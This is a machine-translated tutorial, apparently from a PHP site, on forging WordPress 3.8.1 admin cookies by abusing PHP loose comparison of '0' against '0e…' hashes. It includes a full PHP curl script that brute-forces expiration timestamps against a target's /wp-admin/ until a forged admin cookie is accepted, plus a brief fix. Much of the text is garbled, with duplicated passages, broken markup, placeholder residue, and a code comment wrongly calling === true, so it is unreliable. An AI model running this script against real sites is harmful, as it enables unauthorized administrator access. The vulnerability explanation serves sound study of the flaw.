ホームページ  >  記事  >  バックエンド開発  >  PHP の弱い型指定: WordPress Cookie の偽造

PHP の弱い型指定: WordPress Cookie の偽造

WBOY
WBOYオリジナル
2016-08-10 08:48:40949ブラウズ

1 PHP は型が弱い

PHP は 型が弱い 言語であるため、使用シナリオの違いにより、変数は自動的に型変換 されます。 PHP で == を使用してください。 = 等価判定を行う場合は、===を使用して型変換を自動で行います。 == 判定時に型は自動変換されません。

<span>1</span> <?<span>php
</span><span>2</span><span>$a</span> = 3<span>;
</span><span>3</span><span>$b</span> = '3vic'<span>;
</span><span>4</span><span>var_dump</span>(<span>$a</span> == <span>$b</span>);<span>//</span><span>true</span><span>5</span><span>var_dump</span>(<span>$a</span> != <span>$b</span>);<span>//</span><span>false</span><span>6</span><span>var_dump</span>(<span>$a</span> === <span>$b</span>);<span>//</span><span>true</span><span>7</span><span>var_dump</span>(<span>$a</span> !== <span>$b</span>);<span>//</span><span>false</span><span>8</span> ?>

注: PHP で文字列を整数に変換する場合、数値で始まる場合は、前の数値 ('3vic' -> 3) に変換されます。数値で始まらない場合は、 0 ('vic' -> 0) に変換されます

2 WordPress コード

  • WordPress 3.8.1 WordPress 3.8.2 いくつかのコードの違い
<span>1</span> <?<span>php
</span><span>2</span><span>//</span><span> WordPress 3.8.1</span><span>3</span><span>if</span> (<span>$hmac</span> != <span>$hash</span><span>) {}
</span><span>4</span><span>//</span><span> WordPress 3.8.2</span><span>5</span><span>if</span> ( hash_hmac('md5', <span>$hmac</span>, <span>$key</span>) !== hash_hmac('md5', <span>$hash</span>, <span>$key</span><span>) )  {}
</span><span>6</span> ?>

  • Cookieの構成
以下に示すように、クライアントのバックグラウンドはCookieの1つだけを検証します

wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|<span>1433403595</span>|cf50f3b50eed94dd0fdc3d3ea2c7bbb; path=/wp-admin; domain=www.test.ichunqiu; HttpOnly

Cookie名

wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 形式は次のとおりですwordpress_bbfa5b726c6b7a9cf3cda9370be3ee91 格式为 wordpress_ + md5(siteurl)  其中siteurl为WordPress的网址,此处网站地址为<span>http://www.test.ichunqiu</span>,md5加密后为<span>c47f4a97d0321c1980bb76fc00d1e78f</span>,其它部分也可省。

类型      用户名     过期时间        登录成功服务器端赋予客户端的hash值

对应变量 $username $expiration <span>$hmac</span>
cookies admin 1433403595 cf50f3b50eed94dd0fdc3d3ea2c7bbb
  • 分析验证登录

  代码 wp-includes/pluggable.php 第543-549行

<span>1</span> <?<span>php
</span><span>2</span><span>$key</span> = wp_hash(<span>$username</span> . <span>$pass_frag</span> . '|' . <span>$expiration</span>, <span>$scheme</span><span>);
</span><span>3</span><span>$hash</span> = hash_hmac('md5', <span>$username</span> . '|' . <span>$expiration</span>, <span>$key</span><span>);
</span><span>4</span><span>if</span> ( <span>$hmac</span> != <span>$hash</span><span> ) {
</span><span>5</span>     do_action('auth_cookie_bad_hash', <span>$cookie_elements</span><span>);
</span><span>6</span><span>return</span><span>false</span><span>;
</span><span>7</span> }

  在代码所使用的变量中,通过改变客户端Cookie 的方式可控的有 $username 用户名,$expiration 有效期,又因为其中用户名是固定的,因此只有$expiration是可控的,所以我们可以从改变 <span>$expiration </span>的方法来改变$hash

  • 结合PHP Hash 比较缺陷分析 WordPress

  有以下几种可能使$hmac == $hash 为真,字符串完全相等或者 $hmac 等于0的同时 <span>$hash</span>为以字符开头的字符串; 将客户端的Cookie中 $hmac 值改为0,然后在if ( $hmac != $hash ) {的上面一行写入<span>var_dump($hmac);die()</span>;发现打印出来 $hmac 的结果是 string '0'而不是int 0, 那么有没有方法使字符串识别为整数呢,代码如下:

<span>1</span> <?<span>php
</span><span>2</span><span>var_dump</span>('0' == '0e156464513131');<span>//</span><span>true</span>

  其中的 0e156464513131 会被识别为0乘以10的156464513131次方,还是得0;因此当 $hash 以0e开头后面全是数字时就会与 <span>$hmac</span>的值为 '0' 时相等,所以我们可以将客户端的Cookie设置为类似 wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595|0 然后不断更新过期时间(现在1433403595的位置)的方法来碰撞服务器端,一旦 $hash wordpress_ </ code></span>+ md5( </p> <code>siteurl

) ここで、siteurl は WordPress の URL であり、ここでの Web サイトのアドレスは </p>http://www です。 test.ichunqiu<p>, md5暗号化が<span>c47f4a97d0321c1980bb76fc00d1e78f<span>以降は、他の部分も省略可能です。 タイプ ユーザー名の有効期限 ログイン成功後にサーバーによってクライアントに割り当てられたハッシュ値

対応する変数

$ユーザー名< /td>

$有効期限$hmac
cookie管理者1433403595cf50f3b50eed94dd0fdc3d3ea2c7bbb
分析検証ログイン

コード wp-include s /pluggable.php 543~549行目

<span> 1</span> <?<span>php
</span><span> 2</span><span>/*</span><span> 3</span><span> 4</span><span>本脚本用于WordPress 3.8.1 的cookie伪造漏洞检测
</span><span> 5</span><span>传入两个值
</span><span> 6</span><span>  WordPress 的主页 $host
</span><span> 7</span><span>  管理员用户名     $root
</span><span> 8</span><span>*/</span><span> 9</span><span>header</span>("Content-type:text/html;charset=utf-8"<span>);
</span><span>10</span><span>11</span><span>$host</span> = 'http://xxx.xxx.xxx';<span>//</span><span>主页地址 结尾不带'/'</span><span>12</span><span>$root</span> = 'user';<span>//</span><span>管理员用户名</span><span>13</span><span>14</span><span>$url</span> = <span>$host</span>.'/wp-admin/';<span>//</span><span>后台管理地址    </span><span>15</span><span>$sitehash</span>=<span>md5</span>(<span>$host</span><span>); 
</span><span>16</span><span>17</span><span>echo</span> "\nWelcome\n\n"<span>;
</span><span>18</span><span>//</span><span>通过时间戳暴力破解cookie 实现伪造cookie</span><span>19</span><span>for</span>(<span>$i</span>=1500000000;<span>$i</span><1600000000;<span>$i</span>++<span>){
</span><span>20</span><span>$cookie</span> = "wordpress_".<span>$sitehash</span>."=".<span>$root</span>."|".<span>$i</span>."|0;";<span>//</span><span>组合构造cookie</span><span>21</span><span>$header</span> = <span>array</span><span>(
</span><span>22</span>        "Content-Type:application/x-www-form-urlencoded",
<span>23</span>       'User-Agent: Mozilla/4.0 (compatible; MSIE .0; Windows NT 6.1; Trident/4.0; SLCC2;)',
<span>24</span>       "Cookie:".<span>$cookie</span>,
<span>25</span><span>      );
</span><span>26</span><span>27</span><span>$curl</span> = curl_init(); <span>//</span><span> 启动一个CURL会话    </span><span>28</span>         curl_setopt(<span>$curl</span>, CURLOPT_URL, <span>$url</span>); <span>//</span><span> 要访问的地址</span><span>29</span>         curl_setopt(<span>$curl</span>, CURLOPT_FOLLOWLOCATION, 1); <span>//</span><span> 使用自动跳转    </span><span>30</span>         curl_setopt(<span>$curl</span>, CURLOPT_AUTOREFERER, 1); <span>//</span><span> 自动设置Referer    </span><span>31</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPGET, <span>true</span>); <span>//</span><span> 发送一个常规的Post请求    </span><span>32</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTPHEADER, <span>$header</span>); <span>//</span><span> 读取上面所储存的Cookie信息         </span><span>33</span>         curl_setopt(<span>$curl</span>, CURLOPT_RETURNTRANSFER, 1); <span>//</span><span> 获取的信息以文件流的形式返回 </span><span>34</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, <span>false</span><span>);
</span><span>35</span>         curl_setopt(<span>$curl</span>, CURLOPT_HEADER, 0<span>);   
</span><span>36</span>         curl_setopt(<span>$curl</span>, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);<span>//</span><span>让curl自动选择版本</span><span>37</span><span>$tmpInfo</span> = curl_exec(<span>$curl</span>); <span>//</span><span> 执行操作</span><span>38</span><span>if</span> (curl_errno(<span>$curl</span><span>)) {    
</span><span>39</span><span>echo</span> 'Errno'.curl_error(<span>$curl</span><span>);    
</span><span>40</span><span>        }    
</span><span>41</span>         curl_close(<span>$curl</span>); <span>//</span><span> 关闭CURL会话
</span><span>42</span><span>43</span><span>        //匹配结果</span><span>44</span><span>if</span>(<span>strstr</span>(<span>$tmpInfo</span>,'我们准备了几个链接供您开始'<span>)){
</span><span>45</span><span>echo</span>  "\n".'success : '.<span>$cookie</span>."\n\n"<span>;
</span><span>46</span><span>break</span><span>;
</span><span>47</span>         }<span>else</span><span>{
</span><span>48</span><span>echo</span>  'fail : '.<span>$cookie</span>."\n"<span>;
</span><span>49</span><span>        }
</span><span>50</span><span>51</span><span>    }
</span><span>52</span> ?>    
コード内で使用されている変数のうち、クライアントCookieを変更することで制御できるものには、$username

ユーザー名、$expiration有効期間、および理由が含まれます。ユーザー名は固定であるため、$expiration のみが制御可能であるため、$expiration > を変更することで $hashを変更できます。 PHP ハッシュと組み合わせる欠陥を比較するWordPress を分析する

$hmac == $hash を true、文字列が完全に等しい、または $ にする方法はいくつかあります。 hmac
は 0 に等しく、
$hash
は文字で始まる文字列です。クライアントの Cookie の
$hmac

の値を 0 に変更します。そして、

if ( $hmac != $hash ) {

上の行に <p>var_dump($hmac);die()</p>; と書き、出力されたことを確認します。 out 🎜$hmac 🎜 の結果は 🎜int 0🎜 ではなく 🎜string '0'🎜 です。整数として認識される文字列? コードは次のとおりです: 🎜🎜rrreee🎜🎜 このうち、 🎜0e156464513131 🎜 は、0 の 10 乗として認識されますが、それでも 0 です。したがって、🎜$hash 🎜 が 0e で始まり、その後にすべての数字が続く場合、🎜$hmac🎜 の値が '0' の場合と等しくなります。なので、クライアントの Cookie を 🎜wordpress_c47f4a97d0321c1980bb76fc00d1e78f=admin|1433403595 |0 🎜 のようなものに設定できます。その後、有効期限 (1433403595 の現在位置) を更新し続け、サーバー側と衝突します。 🎜$hash 🎜 の値は 0e で始まり、その後に数字が続くため、検証して渡すことができます。衝突が成功したと仮定して、ブラウザの Cookie を変更し、バックエンド アドレスに直接アクセスし、バックエンドに正常にログインします。 🎜🎜🎜3 テストスクリプト🎜🎜🎜🎜🎜クライアントCookieの有効期限の値を変更し、常にバックグラウンドへのログインを試み、バックグラウンドに入ることができるタイムスタンプを見つけ出すことで、Cookie偽造ログインを実現します。背景。 🎜🎜🎜🎜rrreee🎜🎜🎜🎜説明🎜🎜🎜: 🎜理論的には、0eで始まる32ビットMD5値は約🎜3億分の1🎜であり、悪用可能な🎜$有効期限🎜🎜に達する可能性があります。 🎜は非常に低い🎜 。 🎜🎜🎜🎜🎜🎜🎜🎜5 🎜🎜🎜🎜🎜🎜🎜🎜 PHPで使われているハッシュ比較関数を修正し、 🎜 ==🎜 , 🎜を変更! =🎜 を 🎜 に変更しました ===🎜 と 🎜 をそれぞれ! ==🎜 または、MD5 を使用して 2 つの比較変数を再度暗号化します。 🎜🎜🎜🎜🎜🎜🎜🎜勉強ノート: http://ichunqiu.com/course/167🎜🎜🎜🎜🎜 🎜 上記は、PHP の弱いタイプ: WordPress Cookie の偽造を内容も含めて紹介したもので、PHP チュートリアルに興味のある友人に役立つことを願っています。 🎜 🎜 🎜
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。